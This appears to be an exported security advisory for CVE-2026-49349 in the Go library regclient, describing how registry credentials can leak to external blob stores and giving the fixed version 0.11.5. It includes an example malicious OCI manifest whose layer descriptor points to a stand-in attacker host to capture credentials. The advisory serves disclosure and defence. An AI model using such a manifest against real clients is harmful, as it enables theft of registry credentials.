github.com/regclient/regclient
Affected
- introduced
0, fixed0.11.5(semver)
Fixed versions
0.11.5
Fix
- Fixed version
0.11.5go get github.com/regclient/[email protected]
Advisory
Also known as: CVE-2026-49349, GO-2026-5822
regclient may leak authentication credentials to external blob stores
Credentials for a registry may be inadvertently leaked to external servers. A prerequisite for this attack is a malicious registry server, a malicious blob store, or a registry that does not restrict the external URLs for foreign blobs.
Example attack
A malicious registry serves an OCI image manifest containing a layer descriptor with a urls field pointing to an attacker controlled host:
{
"mediaType": "application/vnd.oci.image.layer.v1.tar+gzip",
"digest": "sha256:...",
"size": 1024,
"urls": ["https://malicious.example.org/blobs/sha256/..."]
}
When regclient fetches the image and the primary blob request to the registry fails, it falls back to the URLs in the layer descriptor. If the external server requests authentication, regclient would send the credentials for the original registry server.
Timeline
Credit
Theodoros Lampropoulos, Threat Detection Engineer, Odyssey Cyber Security
Medium Basis: The source's own band: MODERATE
0, fixed 0.11.5 (semver)0.11.5
0.11.5go get github.com/regclient/[email protected]Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.
Check your own computer: guard packages check
Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0